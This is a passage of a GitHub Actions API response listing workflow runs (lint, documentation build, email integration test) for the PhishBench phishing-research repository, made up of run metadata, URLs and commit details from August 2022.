l":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802600146,"name":"Lint","node_id":"WFR_kwLOCLXpC86nDEjS","head_branch":"docs","head_sha":"1e59b61ec3662be30b817d3125fca946231f0b0f","path":".github/workflows/Lint.yml","display_title":"Update docs","run_number":383,"event":"pull_request","status":"completed","conclusion":"failure","workflow_id":1732356,"check_suite_id":7680613201,"check_suite_node_id":"CS_kwDOCLXpC88AAAAByczbUQ","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802600146","pull_requests":[],"created_at":"2022-08-05T09:20:17Z","updated_at":"2022-08-05T09:22:13Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:20:17Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680613201","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802600146/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/1732356","head_commit":{"id":"1e59b61ec3662be30b817d3125fca946231f0b0f","tree_id":"aaa1fe2da38fd5318ec4a5df499c32237e69030e","message":"Update docs","timestamp":"2022-08-05T08:44:49Z","author":{"name":"Victor Zeng","email":"zacker150@hotmail.com"},"committer":{"name":"Victor Zeng","email":"zacker150@hotmail.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569153,"name":"Build Documentation","node_id":"WFR_kwLOCLXpC86nC8_B","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Documentation.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":82,"event":"push","status":"completed","conclusion":"success","workflow_id":13579685,"check_suite_id":7680534936,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycupmA","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569153","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:16:21Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534936","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569153/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/13579685","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"},"head_repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/PhishBench","forks_url":"https://api.github.com/repos/ReDASers/PhishBench/forks","keys_url":"https://api.github.com/repos/ReDASers/PhishBench/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/PhishBench/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/PhishBench/teams","hooks_url":"https://api.github.com/repos/ReDASers/PhishBench/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/PhishBench/events","assignees_url":"https://api.github.com/repos/ReDASers/PhishBench/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/PhishBench/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/PhishBench/tags","blobs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/PhishBench/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/PhishBench/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/PhishBench/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/PhishBench/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/PhishBench/languages","stargazers_url":"https://api.github.com/repos/ReDASers/PhishBench/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/PhishBench/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/PhishBench/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}},{"id":2802569151,"name":"Email Integration Test","node_id":"WFR_kwLOCLXpC86nC8-_","head_branch":"master","head_sha":"340f5ad147a981817290155402f11aba44e4ecb0","path":".github/workflows/Email_Integration_Test.yml","display_title":"Fix Scipy version for python 3.8 (#331)","run_number":99,"event":"push","status":"completed","conclusion":"success","workflow_id":12794727,"check_suite_id":7680534934,"check_suite_node_id":"CS_kwDOCLXpC88AAAABycuplg","url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151","html_url":"https://github.com/ReDASers/PhishBench/actions/runs/2802569151","pull_requests":[],"created_at":"2022-08-05T09:14:38Z","updated_at":"2022-08-05T09:37:20Z","actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"run_attempt":1,"referenced_workflows":[],"run_started_at":"2022-08-05T09:14:38Z","triggering_actor":{"login":"zacker150","id":7518668,"node_id":"MDQ6VXNlcjc1MTg2Njg=","avatar_url":"https://avatars.githubusercontent.com/u/7518668?v=4","gravatar_id":"","url":"https://api.github.com/users/zacker150","html_url":"https://github.com/zacker150","followers_url":"https://api.github.com/users/zacker150/followers","following_url":"https://api.github.com/users/zacker150/following{/other_user}","gists_url":"https://api.github.com/users/zacker150/gists{/gist_id}","starred_url":"https://api.github.com/users/zacker150/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/zacker150/subscriptions","organizations_url":"https://api.github.com/users/zacker150/orgs","repos_url":"https://api.github.com/users/zacker150/repos","events_url":"https://api.github.com/users/zacker150/events{/privacy}","received_events_url":"https://api.github.com/users/zacker150/received_events","type":"User","site_admin":false},"jobs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/jobs","logs_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/logs","check_suite_url":"https://api.github.com/repos/ReDASers/PhishBench/check-suites/7680534934","artifacts_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/artifacts","cancel_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/cancel","rerun_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/runs/2802569151/rerun","previous_attempt_url":null,"workflow_url":"https://api.github.com/repos/ReDASers/PhishBench/actions/workflows/12794727","head_commit":{"id":"340f5ad147a981817290155402f11aba44e4ecb0","tree_id":"61b52d1bb5c01b59e1c37d2a896b7e7357983dd0","message":"Fix Scipy version for python 3.8 (#331)\n\n* Bump xgboost version to 1.6.1\r\n\r\n* Scipy fix\r\n\r\n* Fix typo","timestamp":"2022-08-05T09:14:36Z","author":{"name":"Victor Zeng","email":"zacker150@users.noreply.github.com"},"committer":{"name":"GitHub","email":"noreply@github.com"}},"repository":{"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"PhishBench","full_name":"ReDASers/PhishBench","private":false,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/PhishBench","description":"A customizable benchmarking framework for phishing research. 